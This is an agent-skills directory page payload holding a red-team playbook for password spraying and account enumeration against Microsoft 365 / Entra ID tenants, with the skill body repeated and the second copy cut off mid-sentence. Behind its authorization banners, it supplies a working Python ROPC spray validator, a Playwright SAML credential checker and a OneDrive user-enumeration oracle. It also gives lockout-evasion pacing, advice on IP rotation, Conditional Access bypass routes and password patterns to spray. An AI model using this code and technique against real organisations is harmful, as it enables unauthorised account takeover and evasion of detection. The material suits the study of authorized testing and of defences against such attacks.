[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P8QFRN6T4TZCQKVFSZ91A8":3,"skill-same:01M6P8QFRN6T4TZCQKVFSZ91A8":74},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":25,"commitSha":55,"skillDirectory":56,"forksCount":13,"repositoryHtmlUrl":57,"repositoryHomepageUrl":6,"ownerHtmlUrl":58,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":59,"install":60,"resources":73},"01M6P8QFRN6T4TZCQKVFSZ91A8","m365-entra-attack",null,"Microsoft 365 \u002F Entra ID red-team attack chain","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fm365-entra-attack\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"m365 entra attack","m365","main","for","attack chain","relevant","offensive","scripts","scope","chain","commands","testing","community","only","team","Tools","aadinternals","red-team","entra id","security","2026-11-10 10:12:30",false,"---\nname: m365-entra-attack\ndescription: Microsoft 365 \u002F Entra ID red-team attack chain\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: authorized-engagement, microsoft-docs, AADInternals\nreport_count: 1\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## When to use this skill\n\nTrigger when:\n- Target uses M365 \u002F Entra ID (autodiscover.* records, login.microsoftonline.com redirects, \"Microsoft Office 365\" in tech-stack notes)\n- You have a list of corporate emails or stealer-leaked creds\n- Engagement involves \"credential spray\", \"password spray\", \"Entra attack\", \"ATO via M365\"\n- You see `*.onmicrosoft.com`, `*-my.sharepoint.com`, `enterpriseregistration.*`, `enterpriseenrollment.*` in recon\n- Client mentions \"Conditional Access\", \"MFA bypass\", \"compliant device\"\n\nDO NOT use for:\n- On-prem-only Active Directory (use a separate AD-attack skill)\n- Service-to-service token attacks (different threat model)\n- Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here\n\n---\n\n## Tenant discovery (msftrecon)\n\n```bash\n# For each owned domain\nmsftrecon -d client.example\nmsftrecon -d clientltd.example\nmsftrecon -d sister-brand-school.example\n```\n\nKey fields in output:\n- **Tenant ID** (different domains may share OR have separate tenants — always test all owned domains)\n- **Federation Information.Namespace Type** = `Managed` (cloud-only, ROPC works) | `Federated` (ADFS, different attack)\n- **SharePoint Detected** (Yes = OneDrive enum vector available)\n- **Communication Services Teams\u002FSkype** (post-auth lateral targets)\n- **Admin Consent Endpoint accessible** (consent-phishing surface)\n\n**Red flag:** if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.\n\n---\n\n## AADSTS code reference (memorize)\n\n| AADSTS | Meaning | Lockout impact | What to do |\n|---|---|---|---|\n| 50034 | User does not exist | None | Skip; remove from spray list |\n| 50126 | Invalid username\u002Fpassword | +1 attempt counter | User exists — try alternate password later (within cap) |\n| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |\n| 53003 | CA blocked token issuance | +1 attempt counter | **PASSWORD VALID** — STOP, password is correct |\n| 50076 | MFA required | +1 attempt counter | **PASSWORD VALID** — second factor needed |\n| 50079 | Strong auth required | +1 attempt counter | **PASSWORD VALID** — same as 50076 |\n| 50158 | External auth required | +1 attempt counter | **PASSWORD VALID** — federated MFA |\n| 530003 | Device-state required | +1 attempt counter | **PASSWORD VALID** — needs compliant device |\n| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |\n| 700016 | App not in tenant | None | User in different tenant — adjust target |\n| 90002 | Tenant does not exist | None | Tenant typo \u002F dead tenant |\n\n**Critical insight:** any code in {53003, 50076, 50079, 50158, 530003} means **the password is correct** — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.\n\n---\n\n## Smart Lockout math (the cap discipline)\n\n**Microsoft default policy:**\n- 10 failed sign-ins in 10 minutes → 1-minute lockout\n- 20 failed sign-ins → progressively longer lockouts (exponential backoff)\n- Counter shared across **ALL auth flows** (ROPC + SAML + IMAP + EWS + SMTP + device-code)\n\n**Engagement discipline:**\n- Hard cap: ≤2 password attempts per user **lifetime per engagement** (some engagements: 1)\n- State file with atomic writes — never let two test runs race the counter\n- Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)\n\n**Mathematical guarantee:** with 1 attempt per user, **you cannot cause Smart Lockout** (1 \u003C 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see `mid-engagement-ir-detection` skill).\n\n---\n\n## User enumeration — vectors + hardening status (May 2026)\n\n### ❌ HARDENED (no longer differential)\n\n```http\nGET \u002Fgetuserrealm.srf?login=\u003Cemail>&xml=1\n```\nReturns identical XML for any email matching tenant's owned domain. **Tenant-level only, not user-level.**\n\n```http\nPOST \u002Fcommon\u002FGetCredentialType\n{\"username\":\"\u003Cemail>\", \"isOtherIdpSupported\":true, ...}\n```\nReturns `AADSTS1659001` (missing flowToken) without proper session — can't enumerate.\n\n```http\nGET \u002Fautodiscover\u002Fautodiscover.json\u002Fv1.0\u002F\u003Cemail>?Protocol=AutodiscoverV1\n```\nReturns identical 200 + same JSON body for any address. Hardened ~2024.\n\n### ✅ STILL WORKS (May 2026 — track shelf life)\n\n**OneDrive personal-site differential:**\n```http\nGET \u002Fpersonal\u002F\u003Cuser>_\u003Cdomain>_com\u002F_layouts\u002F15\u002Fonedrive.aspx HTTP\u002F1.1\nHost: \u003Ctenant>-my.sharepoint.com\n```\n- **302 → user EXISTS** (auth-required redirect to Authenticate.aspx)\n- **404 → user does NOT exist** (404 FILE NOT FOUND)\n- ZERO authentication attempt → ZERO lockout impact\n- Bonus: `Sprequestduration` header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle\n\n**Caveats:**\n- Only works if SharePoint is provisioned for the tenant (check msftrecon `SharePoint Detected: Yes`)\n- Microsoft is hardening these endpoints over time — re-verify before relying on it\n- Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible\n\n**2026-05-17 re-verification (authorized-engagement revalidation):** The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users \u002F shared-mailbox accounts return 404 with 0 bytes. The \u002Fpersonal\u002F root path (without \u002F_layouts\u002F15\u002Fonedrive.aspx) returns the same differential.\n\n**Killer use case: license differential = account-class signal.** Cross-reference OneDrive 200\u002F404 with ROPC AADSTS50034\u002F50126:\n\n| OneDrive | ROPC | Classification |\n|---|---|---|\n| 200 | AADSTS50076 (MFA req) or 50126 | **Licensed regular user** (real employee, MFA enforced) |\n| 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |\n| 404 | AADSTS50126 | **Shared mailbox \u002F functional \u002F service account** (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |\n| 404 | AADSTS50034 | Doesn't exist in tenant |\n| 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |\n\nThe OneDrive-404 + ROPC-50126 combination is **the signal for \"functional account that might bypass MFA\"** — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified `noreply@`, `purchase@`, `accounts@`, `postmaster@`, `transport@` as functional-account candidates (typical for any conglomerate tenant).\n\n**ROPC AADSTS50034 \u002F AADSTS50126 differential:**\n- AADSTS50034 (user not exist) does NOT increment Smart Lockout counter\n- AADSTS50126 (wrong password) DOES increment\n- So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)\n\n---\n\n## Conditional Access bypass options (most blocked, document anyway)\n\n| Vector | Status (2026) | Notes |\n|---|---|---|\n| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try `1b730954-1685-4b74-9bfd-dac224a7b894` (Graph PS), `04b07795-8ddb-461a-bbee-02f9e1bf7b46` (Azure CLI), `d3590ed6-52b3-4102-aeff-aad2292ab01c` (Office) |\n| Different resource (graph.microsoft.com \u002F outlook.office.com \u002F management.azure.com) | Sometimes works | CA scope can be per-resource |\n| EWS \u002F IMAP \u002F POP3 \u002F SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |\n| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |\n| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |\n| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |\n| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |\n| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |\n| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |\n| Geo-bypass via VPN | Sometimes | If \"trusted location\" CA policy includes corp HQ IPs, use a VPN exit there |\n\n**Key insight from this engagement:** in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. **Phishing-completed cookie steal is the only realistic adversary path.** Document this clearly so the client understands the threat model.\n\n---\n\n## ROPC password validation (the canonical test)\n\n**Single-attempt validator pattern (Python):**\n\n```python\nimport urllib.request, urllib.parse, ssl, time, json, os\nctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE\nATTEMPT_FILE = \"engagement_log\u002Fo365_attempts.json\"\nHARD_CAP = 1  # or 2 — never higher\n\ndef attempt(email, password):\n    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}\n    if state.get(email.lower(), 0) >= HARD_CAP:\n        return {\"status\": \"SKIPPED_CAP\"}\n    body = urllib.parse.urlencode({\n        \"resource\": \"https:\u002F\u002Fgraph.windows.net\",\n        \"client_id\": \"1b730954-1685-4b74-9bfd-dac224a7b894\",  # Microsoft Graph PowerShell\n        \"client_info\": \"1\",\n        \"grant_type\": \"password\",\n        \"username\": email,\n        \"password\": password,\n        \"scope\": \"openid\",\n    }).encode()\n    state[email.lower()] = state.get(email.lower(), 0) + 1\n    json.dump(state, open(ATTEMPT_FILE+\".tmp\", \"w\"))\n    os.replace(ATTEMPT_FILE+\".tmp\", ATTEMPT_FILE)  # atomic\n    req = urllib.request.Request(\n        \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Ftoken\",\n        data=body, method=\"POST\",\n    )\n    req.add_header(\"Content-Type\", \"application\u002Fx-www-form-urlencoded\")\n    try:\n        r = urllib.request.urlopen(req, context=ctx, timeout=15)\n        body = json.loads(r.read())\n        # PARSE AS JSON — see CRITICAL TRAP below about substring matching\n        if \"access_token\" in body:    # ← JSON key check, NOT substring\n            return {\"status\": \"VALID\", \"body\": body}\n        return {\"status\": \"STATUS_200_NO_TOKEN\", \"body\": body}\n    except urllib.error.HTTPError as e:\n        msg = e.read().decode(errors=\"ignore\")\n        for code, status in [\n            (\"AADSTS50034\", \"INVALID_USER\"),\n            (\"AADSTS50126\", \"INVALID_PW\"),\n            (\"AADSTS50053\", \"LOCKED\"),\n            (\"AADSTS53003\", \"VALID_CA_BLOCK\"),\n            (\"AADSTS50076\", \"VALID_MFA\"),\n            (\"AADSTS50079\", \"VALID_MFA\"),\n        ]:\n            if code in msg:\n                return {\"status\": status, \"code\": code}\n        return {\"status\": \"OTHER\", \"msg\": msg[:200]}\n```\n\n### ⚠ CRITICAL TRAP — AADSTS50076 body contains literal `\"access_token\"` substring\n\nWhen CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a `claims` field listing CA policy IDs as a step-up challenge:\n\n```json\n{\n  \"error\": \"invalid_grant\",\n  \"error_description\": \"AADSTS50076: ...you must use multi-factor authentication...\",\n  \"error_codes\": [50076],\n  \"suberror\": \"basic_action\",\n  \"claims\": \"{\\\"access_token\\\":{\\\"capolids\\\":{\\\"essential\\\":true,\\\"values\\\":[\\\"\u003Cpolicy-id-1>\\\",\\\"\u003Cpolicy-id-2>\\\"]}}}\"\n}\n```\n\n**The `\"access_token\"` substring appears inside the CA claims challenge JSON.** A loose substring check `if \"access_token\" in raw_body:` will false-positive every MFA-blocked attempt as a successful token issuance.\n\n**Always parse JSON, then check `if \"access_token\" in parsed_dict:`** — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive \"CA bypasses\" on Sway\u002FYammer\u002FBookings\u002FTunnel client_ids that were actually all enforcing MFA correctly.\n\nThe `claims.access_token.capolids` values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as \"CA policy IDs that fired\" — they're a defender-side breadcrumb, not an attacker-side win.\n\n**Pace:**\n- **NEVER use concurrency. Single-threaded, serial, paced. This is a hard rule, not a tuning knob.** Entra has an IP-reputation anti-spray layer that is SEPARATE from per-user Smart Lockout. Concurrency — not attempts-per-user — is what trips it. Once tripped it returns `AADSTS50053` (LOCKED) en masse for accounts you hit only once (mathematically impossible to be real per-user locks → they are IP-level rejections), which (a) **contaminates your existence data** — 50053 is now ambiguous and you've burned the 1\u002Fuser cap so you can't re-test — and (b) **flags your egress IP as a spray source** in the tenant. Observed live on an authorized engagement: switching from serial to 12 threads produced ~183 false `AADSTS50053` in 15s vs. 1 across 454 paced attempts.\n- The earlier \"≤30 req\u002Fsec is fine\" guidance is MISLEADING for a real tenant — read it as \"serial with 1.5–3s jitter,\" never as \"parallelize up to 30\u002Fs.\"\n- Per-user: hard cap from state file is the only thing that matters for lockout-causation; serial pacing is what matters for IP reputation.\n- Random jitter (1.5–5s between attempts) for less-machine-like signature.\n- **Kill-switch:** if >~5 `AADSTS50053` appear in a run where your cap is 1\u002Fuser, STOP — you've either tripped IP anti-spray (your fault, pace down \u002F rotate IP \u002F wait for cooldown) or detected a real external spray (a finding). Either way, pause and diagnose before continuing.\n\n---\n\n## SAML SSO browser flow (for definitive cred validation when CA blocks ROPC)\n\nWhen ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:\n\n```python\nimport asyncio\nfrom playwright.async_api import async_playwright\n\nasync def saml_validate(target_sp_url, username, password, screenshot_dir):\n    async with async_playwright() as p:\n        browser = await p.chromium.launch(headless=True, args=[\"--ignore-certificate-errors\"])\n        context = await browser.new_context(ignore_https_errors=True)\n        page = await context.new_page()\n        # Step 1: navigate to SP\n        await page.goto(target_sp_url, wait_until=\"networkidle\", timeout=30000)\n        # Step 2: click sign-in (selectors vary per SP)\n        for sel in [\"button:has-text('Sign in')\", \"a:has-text('Login')\", \"button:has-text('Azure')\"]:\n            try:\n                await page.locator(sel).first.click(timeout=3000)\n                break\n            except: continue\n        await page.wait_for_load_state(\"networkidle\", timeout=20000)\n        # Step 3: submit username at Microsoft\n        await page.locator('input[name=\"loginfmt\"], input[type=\"email\"]').first.fill(username)\n        await page.locator('input[type=\"submit\"], #idSIButton9').first.click()\n        await page.wait_for_load_state(\"networkidle\", timeout=20000)\n        # Step 4: submit password\n        await page.locator('input[name=\"passwd\"], input[type=\"password\"]').first.fill(password)\n        await page.locator('input[type=\"submit\"], #idSIButton9').first.click()\n        await page.wait_for_load_state(\"networkidle\", timeout=30000)\n        # Step 5: capture\n        await page.screenshot(path=f\"{screenshot_dir}\u002Fsaml_final.png\", full_page=True)\n        content = await page.content()\n        cookies = await context.cookies()\n        await browser.close()\n        # Check outcome\n        low = content.lower()\n        if \"convergedconditionalaccess\" in low or \"53003\" in low:\n            return \"CA_BLOCKED\"  # cred valid, CA wall\n        elif \"verify your identity\" in low or \"approve sign in\" in low:\n            return \"MFA_REQUIRED\"  # cred valid, MFA wall\n        elif \"we couldn't sign you in\" in low or \"wrong\" in low:\n            return \"INVALID\"\n        elif \"\u003Cpost-auth-landing-marker>\" in low or \"dashboard\" in low:\n            return \"FULL_SUCCESS\"  # session obtained (replace marker per target app)\n        return \"UNCLEAR\"\n```\n\nMicrosoft's `ConvergedConditionalAccess` page (PageID in source) is the definitive evidence of CA-block.\n\n---\n\n## Active-attacker detection via lockout differential\n\nIf you see `AADSTS50053` (LOCKED) on multiple users despite your 1-attempt-per-user cap:\n1. **You did not cause these locks** (math: 1 \u003C 10).\n2. **An external attacker is actively spraying the tenant.**\n3. **Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.**\n4. **Diff lockout count between spray-start and spray-end** — new locks during your session = attacker is active *right now*.\n5. **Document the locked email list as a finding** (SOC actionable — they pull sign-in logs for those users).\n\nThis is the **highest-impact byproduct** of any M365 spray engagement. Always track and report.\n\n---\n\n## Common password patterns to spray (multi-brand enterprise targets)\n\n- `\u003CBrandName>@\u003CYear>` — `\u003CBrand>@2026`, `Tata@2026`\n- `\u003CBrandName>@123` — `\u003CBrand>@123` (very common)\n- `\u003CPlantCity>@\u003CYear>` — `\u003CCity1>@2026`, `\u003CCity2>@2026` (production plant cities)\n- `\u003CEmployeeID-as-password>` — common in legacy apps (PAN number, employee code, phone last4)\n- `Password@\u003Cyear>`, `Welcome@\u003Cyear>`, `Admin@\u003Cyear>` — generic defaults\n- `\u003CBrandName>@\u003CY2-digits>` — `\u003CBrand>@26`\n\n**Engagement caveat:** when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.\n\n---\n\n## Engagement journaling (mandatory)\n\nEvery M365 attempt logs to JSONL:\n```json\n{\"ts\":\"2026-05-08T14:40:53\",\"email\":\"user1@\u003Cclient>.example\",\"pw_first4\":\"\u003Cr4>\",\"status\":\"VALID_CA_BLOCK\",\"code\":\"AADSTS53003\",\"attempts_used\":1}\n```\n\n**Per-user tracker** (atomic):\n```json\n{\"user1@\u003Cclient>.example\": 1, \"user2@\u003Cclient>.example\": 1, ...}\n```\n\n**IP rotation log** (per-day):\n```\n2026-05-08\t\u003Csrc-ip>\t\u003CISP-AS>\t\u003Coperator-handle>\tRound 2 spray\n```\n\nThese three artifacts are deliverable evidence for the report. They survive into the next engagement as state.\n\n---\n\n## Real-world findings template (from authorized-engagement)\n\nFor the report:\n\n**Finding: 261 Entra accounts in pre-existing lockout state**\n- Subject: Active external password-spray campaign detected\n- Evidence: `o365_results.jsonl` filtered to `status=LOCKED`\n- Math: 1-attempt-per-user × 261 LOCKED ≠ our doing\n- SOC action: pull sign-in logs for these 261 accounts over last 30-60 days\n\n**Finding: Valid M365 cred — `\u003Cuser>:\u003Cpassword>` (CA-blocked)**\n- Subject: Confirmed valid credential\n- Evidence: ROPC AADSTS53003 + SAML SSO `ConvergedConditionalAccess` page screenshot\n- Microsoft documentation excerpt: \"AADSTS53003 returned only after password validation\"\n- Recommendation: force password reset, audit org-wide for similar pattern\n\n---\n\n## Anti-patterns (don't do these)\n\n- **DON'T use the leaked cred for the user across multiple resources** — burns the cap with no marginal benefit when CA blocks all paths\n- **DON'T retry after AADSTS50053** — account is locked, you'll just see lockout again\n- **DON'T parallelize ROPC\u002Fauth requests AT ALL** — serial + paced only. Concurrency trips Entra's IP-reputation anti-spray (separate from Smart Lockout), floods false `AADSTS50053`, contaminates results, and flags your IP. \"Going faster\" by adding threads costs more than it saves. The only safe speed-up is removing dead\u002Fnonexistent users first (small `GetCredentialType` batches \u003C60), not raising concurrency.\n- **DON'T forget to test ALL Entra tenants** — sister domains often have separate tenants with different password policies\n- **DON'T retract a CA-block finding** — AADSTS53003 means the password is correct; that's the whole point\n\n---\n\n## Tooling\n\n```bash\npip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub\nbrew install pandoc                                       # for report generation\ngo install -v github.com\u002Fprojectdiscovery\u002F...             # PD toolkit for general recon\n```\n\nPre-built `m365_validator.py` template at engagement working directory `engagement_log\u002Fm365_validator.py`. Adapt the `attempt()` function to your engagement.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-mfa-bypass`** — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → `hunt-mfa-bypass` factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.\n- **`hunt-ntlm-info`** — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint\u002FExchange\u002FIIS anon NTLM Type-2 → AV_PAIR decode yields `corp.example.com` → `m365-entra-attack` resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.\n- **`okta-attack`** — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 `getuserrealm` returns `NameSpaceType: Federated` with AuthURL pointing to `*.okta.com` → pivot to `okta-attack` for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.\n- **`hunt-saml`** — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: `getuserrealm` reveals federation → IdP fingerprinted (ADFS \u002F Okta \u002F PingFederate) → `hunt-saml` XSW1-XSW8 against IdP's `\u002Fadfs\u002Fls\u002F` or equivalent → forged assertion → Entra grants access.\n- **`redteam-report-template`** — M365 findings need clear tenant\u002Fuser\u002FCA-policy framing because the blast radius is \"every Microsoft service the org uses.\" Chain primitive: validated finding from this skill → run through `triage-validation` 7-Question Gate → package via `redteam-report-template` with explicit blast-radius (which apps, which users, which data) for client deliverable.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## When to use this skill\n\nTrigger when:\n- Target uses M365 \u002F Entra ID (autodiscover.* records, login.microsoftonline.com redirects, \"Microsoft Office 365\" in tech-stack notes)\n- You have a list of corporate emails or stealer-leaked creds\n- Engagement involves \"credential spray\", \"password spray\", \"Entra attack\", \"ATO via M365\"\n- You see `*.onmicrosoft.com`, `*-my.sharepoint.com`, `enterpriseregistration.*`, `enterpriseenrollment.*` in recon\n- Client mentions \"Conditional Access\", \"MFA bypass\", \"compliant device\"\n\nDO NOT use for:\n- On-prem-only Active Directory (use a separate AD-attack skill)\n- Service-to-service token attacks (different threat model)\n- Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here\n\n---\n\n## Tenant discovery (msftrecon)\n\n```bash\n# For each owned domain\nmsftrecon -d client.example\nmsftrecon -d clientltd.example\nmsftrecon -d sister-brand-school.example\n```\n\nKey fields in output:\n- **Tenant ID** (different domains may share OR have separate tenants — always test all owned domains)\n- **Federation Information.Namespace Type** = `Managed` (cloud-only, ROPC works) | `Federated` (ADFS, different attack)\n- **SharePoint Detected** (Yes = OneDrive enum vector available)\n- **Communication Services Teams\u002FSkype** (post-auth lateral targets)\n- **Admin Consent Endpoint accessible** (consent-phishing surface)\n\n**Red flag:** if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.\n\n---\n\n## AADSTS code reference (memorize)\n\n| AADSTS | Meaning | Lockout impact | What to do |\n|---|---|---|---|\n| 50034 | User does not exist | None | Skip; remove from spray list |\n| 50126 | Invalid username\u002Fpassword | +1 attempt counter | User exists — try alternate password later (within cap) |\n| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |\n| 53003 | CA blocked token issuance | +1 attempt counter | **PASSWORD VALID** — STOP, password is correct |\n| 50076 | MFA required | +1 attempt counter | **PASSWORD VALID** — second factor needed |\n| 50079 | Strong auth required | +1 attempt counter | **PASSWORD VALID** — same as 50076 |\n| 50158 | External auth required | +1 attempt counter | **PASSWORD VALID** — federated MFA |\n| 530003 | Device-state required | +1 attempt counter | **PASSWORD VALID** — needs compliant device |\n| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |\n| 700016 | App not in tenant | None | User in different tenant — adjust target |\n| 90002 | Tenant does not exist | None | Tenant typo \u002F dead tenant |\n\n**Critical insight:** any code in {53003, 50076, 50079, 50158, 530003} means **the password is correct** — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.\n\n---\n\n## Smart Lockout math (the cap discipline)\n\n**Microsoft default policy:**\n- 10 failed sign-ins in 10 minutes → 1-minute lockout\n- 20 failed sign-ins → progressively longer lockouts (exponential backoff)\n- Counter shared across **ALL auth flows** (ROPC + SAML + IMAP + EWS + SMTP + device-code)\n\n**Engagement discipline:**\n- Hard cap: ≤2 password attempts per user **lifetime per engagement** (some engagements: 1)\n- State file with atomic writes — never let two test runs race the counter\n- Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)\n\n**Mathematical guarantee:** with 1 attempt per user, **you cannot cause Smart Lockout** (1 \u003C 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see `mid-engagement-ir-detection` skill).\n\n---\n\n## User enumeration — vectors + hardening status (May 2026)\n\n### ❌ HARDENED (no longer differential)\n\n```http\nGET \u002Fgetuserrealm.srf?login=\u003Cemail>&xml=1\n```\nReturns identical XML for any email matching tenant's owned domain. **Tenant-level only, not user-level.**\n\n```http\nPOST \u002Fcommon\u002FGetCredentialType\n{\"username\":\"\u003Cemail>\", \"isOtherIdpSupported\":true, ...}\n```\nReturns `AADSTS1659001` (missing flowToken) without proper session — can't enumerate.\n\n```http\nGET \u002Fautodiscover\u002Fautodiscover.json\u002Fv1.0\u002F\u003Cemail>?Protocol=AutodiscoverV1\n```\nReturns identical 200 + same JSON body for any address. Hardened ~2024.\n\n### ✅ STILL WORKS (May 2026 — track shelf life)\n\n**OneDrive personal-site differential:**\n```http\nGET \u002Fpersonal\u002F\u003Cuser>_\u003Cdomain>_com\u002F_layouts\u002F15\u002Fonedrive.aspx HTTP\u002F1.1\nHost: \u003Ctenant>-my.sharepoint.com\n```\n- **302 → user EXISTS** (auth-required redirect to Authenticate.aspx)\n- **404 → user does NOT exist** (404 FILE NOT FOUND)\n- ZERO authentication attempt → ZERO lockout impact\n- Bonus: `Sprequestduration` header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle\n\n**Caveats:**\n- Only works if SharePoint is provisioned for the tenant (check msftrecon `SharePoint Detected: Yes`)\n- Microsoft is hardening these endpoints over time — re-verify before relying on it\n- Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible\n\n**2026-05-17 re-verification (authorized-engagement revalidation):** The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users \u002F shared-mailbox accounts return 404 with 0 bytes. The \u002Fpersonal\u002F root path (without \u002F_layouts\u002F15\u002Fonedrive.aspx) returns the same differential.\n\n**Killer use case: license differential = account-class signal.** 